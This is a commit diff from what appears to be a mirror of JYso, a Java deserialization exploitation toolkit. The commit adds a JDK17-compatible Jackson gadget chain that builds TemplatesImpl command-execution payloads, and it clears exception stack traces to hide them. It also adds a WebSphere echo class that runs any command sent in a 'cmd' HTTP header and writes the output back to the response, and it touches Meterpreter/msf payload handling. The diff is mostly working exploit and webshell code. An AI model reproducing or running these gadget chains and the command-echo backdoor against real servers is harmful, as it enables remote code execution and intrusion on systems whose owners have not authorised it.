archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: jackson4链是jackson1链改jdk17

Browse Source
This commit is contained in:
qi4L
2025-10-19 10:14:45 +08:00
parent 2431b0643e
commit 86777b0166
20 changed files with 174 additions and 100 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/JYso/controllers/BasicController.java
+2 -2
View File
@@ -120,8 +120,8 @@ public class BasicController implements LdapController {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
System.out.println(" RemotHost: " + results1[0]);
System.out.println(" RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
+1 -1
View File
@@ -55,7 +55,7 @@ public class ELProcessorController implements LdapController {
jscode = helper.getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
if (payloadType.contains("msf")) {
jscode = helper.injectMeterpreter();
}
src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java
+1 -1
View File
@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class C3P0JDBC implements ObjectPayload<Object> {
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java
+1 -1
View File
@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class C3P0JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java
+1 -1
View File
@@ -10,7 +10,7 @@ import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java
-1
View File
@@ -25,7 +25,6 @@ public class Fastjson2 implements ObjectPayload<Object> {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
src/main/java/com/qi4l/JYso/gadgets/Groovy2.java
+1 -1
View File
@@ -9,7 +9,7 @@ import org.codehaus.groovy.runtime.MethodClosure;
import javax.management.BadAttributeValueExpException;
@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class Groovy2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java
+1 -1
View File
@@ -16,7 +16,7 @@ import javax.management.BadAttributeValueExpException;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java
+3 -5
View File
@@ -147,8 +147,7 @@ public class JDKUtil {
}
public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException {
public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws Exception {
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
Object enu = Reflections.createWithoutConstructor(cl);
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
@@ -160,7 +159,7 @@ public class JDKUtil {
}
private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception {
private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception {
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
Object reg = Reflections.createWithoutConstructor(regcl);
Reflections.setFieldValue(reg, "name", "exp");
@@ -183,8 +182,7 @@ public class JDKUtil {
}
private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception {
private static Object makeRegistryContext ( Object regi ) throws Exception {
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object regctx = Reflections.createWithoutConstructor(regctxcl);
Reflections.setFieldValue(regctx, "registry", regi);
src/main/java/com/qi4l/JYso/gadgets/Jackson1.java
+12 -6
View File
@@ -10,13 +10,15 @@ import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
public class Jackson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final Object tempImpl;
tempImpl = Gadgets.createTemplatesImpl(command);
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
@@ -27,13 +29,17 @@ public class Jackson1 implements ObjectPayload<Object> {
}
POJONode node = new POJONode(template);
POJONode node = new POJONode(tempImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", node);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);
hashMap.put(tempImpl, val);
return hashMap;
}
src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
+13 -5
View File
@@ -7,6 +7,7 @@ import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
@@ -14,6 +15,8 @@ import javax.xml.transform.Templates;
import javax.management.BadAttributeValueExpException;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
public class Jackson2 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
@@ -21,22 +24,27 @@ public class Jackson2 implements ObjectPayload<Object> {
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", node);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
return val;
}
}
src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+32 -30
View File
@@ -1,11 +1,11 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.jdk17Bypass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import org.springframework.aop.framework.AdvisedSupport;
@@ -15,7 +15,6 @@ import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisorChainFactory;
import javax.swing.event.EventListenerList;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
@@ -23,26 +22,31 @@ import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
//Jackson2链的JDK17改造
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.JSJCW})
public class Jackson3 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory")));
final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory");
insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;");
Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
//<=6.0.23为6115154060221772279
//>=6.1.0 为273003553246259276
String sUID = "6115154060221772279";
CtClass ctDefaultAdvisorChainFactory = insertField(
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
"private static final long serialVersionUID = " + sUID + "L;");
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
@@ -51,16 +55,16 @@ public class Jackson3 implements ObjectPayload<Object> {
}
public static Object getEventListenerList(Object obj) throws Exception {
//EventListenerList list = new EventListenerList();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList")));
final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList");
insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;");
//>=6.1.0 为-7977902244297240866
//<=6.0.23为
CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList", "private static final long serialVersionUID = -7977902244297240866L;");
Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
//UndoManager undomanager = new UndoManager();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager")));
final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager");
insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;");
//>=6.1.0 为-1045223116463488483
//<=6.0.23为
CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager", "private static final long serialVersionUID = -1045223116463488483L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
@@ -98,25 +102,23 @@ public class Jackson3 implements ObjectPayload<Object> {
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {
} catch (Exception ignored) {
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(Jackson3.class);
classes.add(Field.class);
classes.add(Method.class);
new jdk17Bypass().bypassModule(classes);
//ArrayList<Class> classes = new ArrayList<>();
//classes.add(TemplatesImpl.class);
//classes.add(POJONode.class);
//classes.add(EventListenerList.class);
//classes.add(Jackson3.class);
//classes.add(Field.class);
//classes.add(Method.class);
//new jdk17Bypass().bypassModule(classes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
Object eventListenerList = getEventListenerList(node);
return eventListenerList;
return getEventListenerList(node);
}
src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
+40
View File
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
//Jackson1链的JDK17改造
public class Jackson4 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
HashMap hashmap = makeMap(map1, map2);
return hashmap;
}
}
src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java
+4 -2
View File
@@ -52,8 +52,10 @@ public @interface Authors {
String KILLER = "killer";
String Unam4 = "Unam4";
String Jiecub3 = "jiecub3";
String UNAM4 = "Unam4";
String JIECUB3 = "jiecub3";
String JSJCW = "jsjcw";
String[] value() default {};
src/main/java/com/qi4l/JYso/gadgets/cc13.java
+1 -1
View File
@@ -15,7 +15,7 @@ import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
@Authors({Authors.UNAM4})
public class cc13 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/cc4_17.java
+1 -1
View File
@@ -14,7 +14,7 @@ import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
@SuppressWarnings({"rawtypes", "unchecked"})
@Authors({Authors.Jiecub3})
@Authors({Authors.JIECUB3})
public class cc4_17 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java
+6 -41
View File
@@ -8,10 +8,10 @@ import org.apache.commons.cli.CommandLineParser;
import org.apache.commons.cli.DefaultParser;
import org.apache.commons.cli.Options;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.List;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
@@ -241,48 +241,13 @@ public class InjShell {
ctClass.addField(CtField.make(fieldCode, ctClass));
}
public static void TinsertWinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Agent.WinMenshell");
Field WinClassName = ctClazz.getDeclaredField("className");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, className);
Field WinclassBody = ctClazz.getDeclaredField("classBody");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, bytes);
public static CtClass insertField(String fieldName, String fieldCode) throws Exception {
POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName)));
final CtClass ctClass = POOL.get(fieldName);
insertField(ctClass, fieldName, fieldCode);
return ctClass;
}
public static void TinsertLinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Agent.LinMenshell");
Field LinClassName = ctClazz.getDeclaredField("className");
LinClassName.setAccessible(true);
LinClassName.set(ctClazz, className);
Field LinclassBody = ctClazz.getDeclaredField("classBody");
LinclassBody.setAccessible(true);
LinclassBody.set(ctClazz, bytes);
}
//类加载方式，因类而异
src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java
+5
View File
@@ -1,10 +1,15 @@
package com.qi4l.JYso.gadgets.utils;
import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.CtClass;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.*;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings("restriction")
public class Reflections extends ClassLoader {
src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java
+5
View File
@@ -1,5 +1,10 @@
package com.qi4l.JYso.template.echoConstructor;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
// 回显类在jdk17下的改造，解决JDK17下只能加载一次的问题
public class CTomcatEcho {
public static String CMD_HEADER;
src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java
+44
View File
@@ -0,0 +1,44 @@
package com.qi4l.JYso.template.echoConstructor;
import java.io.OutputStream;
import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue;
public class CwebsphereEcho {
public CwebsphereEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
if (o.getClass().getName().endsWith("WebContainerRequestState")) {
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
//java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
//printWriter.println(res);
// 解决只读一次的问题
OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut");
outputStream.flush();
outputStream.write(res.getBytes());
}
break;
}
}
} catch (Exception ignored) {
}
}
}